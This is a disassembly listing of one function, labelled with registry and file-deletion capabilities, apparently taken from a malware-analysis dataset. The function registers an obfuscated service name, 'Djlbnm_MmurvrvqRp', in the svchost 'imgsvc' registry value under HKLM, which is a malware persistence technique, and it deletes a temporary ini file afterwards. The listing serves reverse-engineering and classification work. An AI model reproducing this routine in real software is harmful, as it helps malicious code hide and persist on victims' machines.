Function at 0x1000d710
Capabilities:
Delete file
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x1af]
mov byte [ebp - 0x1b0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.GetWindowsDirectoryA
push str.kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x1b0]
push 0x104
push ecx
call eax
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x1b0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x1ad], 0
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x1b0]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x48]
push ecx
movsb byte es:[edi], byte [esi]
call fcn.1000d380
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0xab]
mov byte [ebp - 0xac], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
push eax
lea edx, [ebp - 0xac]
push str.SOFTWARE_d
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0xac]
push eax
push ecx
call fcn.1000d410
add esp, 0x1c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea edx, [ebp - 4]
lea eax, [ebp - 0xac]
push edx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000da1e
mov ecx, 0x1f3
lea edi, [ebp - 0x97f]
mov byte [ebp - 0x980], al
mov dword [ebp - 0xc], 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [ebp - 0x980]
mov dword [ebp - 8], 0x7d0
rep stosd dword es:[edi], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 8]
lea edx, [ebp - 0x980]
push ecx
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0xc]
push edx
push eax
push 0
push str.imgsvc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000d959
lea edi, [ebp - 0x980]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [ebp - 0x980]
mov esi, ecx
mov dword [ebp - 0x10], eax
test si, si
je 0x1000d913
cmp si, 1
je 0x1000d913
push str.Djlbnm_MmurvrvqRp
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000d948
mov edx, dword [ebp - 0x10]
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea eax, [edx + eax + 1]
mov dword [ebp - 0x10], eax
je 0x1000d913
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000d8cd
mov edi, str.Djlbnm_MmurvrvqRp
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp - 0x10]
repne scasb al, byte es:[edi]
mov al, byte [ebx - 1]
push str.Djlbnm_MmurvrvqRp
not ecx
dec ecx
push 0x100190f0
add edx, ecx
test al, al
mov dword [ebp - 0x10], edx
je 0x1000d93c
inc ebx
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x1000d994
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, str.Djlbnm_MmurvrvqRp
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x980]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x980]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x10], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x980]
push ecx
push edx
push 7
push 0
push str.imgsvc
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x1b0]
push edx
call esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0xac]
push eax
push ecx
call fcn.1000d380
lea edx, [ebp - 0x1b0]
lea eax, [ebp - 0x48]
push edx
push eax
call fcn.1000d410
add esp, 0x10
lea ecx, [ebp - 0x1b0]
push ecx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret